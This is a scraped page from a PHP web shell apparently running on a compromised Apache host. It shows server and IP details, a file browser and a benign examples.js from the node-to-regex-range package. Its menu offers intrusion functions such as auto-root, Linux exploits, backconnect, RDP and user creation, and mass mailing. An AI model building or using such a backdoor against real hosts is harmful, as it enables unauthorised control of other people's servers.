Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.171
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
node-to-regex-range /
[ HOME SHELL ]
Name
Size
Permission
Action
README.md.gz
3.98
KB
-rw-r--r--
changelog.Debian.gz
950
B
-rw-r--r--
copyright
1.47
KB
-rw-r--r--
examples.js
1.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : examples.js
'use strict'; const toRegexRange = require('./'); const table = require('text-table'); const Time = require('time-diff'); const time = new Time(); /** * $ node examples.js */ const toRange = (min, max) => { let key = 'to-range' + min + max; time.start(key); return [ '', `\`toRegexRange(${min}, ${max})\``, `\`${toRegexRange(min, max, { wrap: false }).split('|').join('\\|')}\``, `_${time.end(key)}_`, '' ]; }; toRange('1', '3'); let rows = [ ['', '**Range**', '**Result**', '**Compile time**', ''], ['', '--- ', '--- ', '---', ''], ]; let examples = [ ['-10', '10'], ['-100', '-10'], ['-100', '100'], ['001', '100'], ['001', '555'], ['0010', '1000'], ['1', '50'], ['1', '55'], ['1', '555'], ['1', '5555'], ['111', '555'], ['29', '51'], ['31', '877'], ['5', '5'], ['5', '6'], ['1', '2'], ['1', '5'], ['1', '10'], ['1', '100'], ['1', '1000'], ['1', '10000'], ['1', '100000'], ['1', '1000000'], ['1', '10000000'], ].forEach(args => { rows.push(toRange.apply(null, args)); }); let text = table(rows, { hsep: ' | ' }); console.log(text); /** * This method is exposed as a helper, which is picked up * by verb and used in the .verb.md readme template */ module.exports = () => { return text.split('\n').map(line => line.replace(/^ +/, '')).join('\n'); };
Close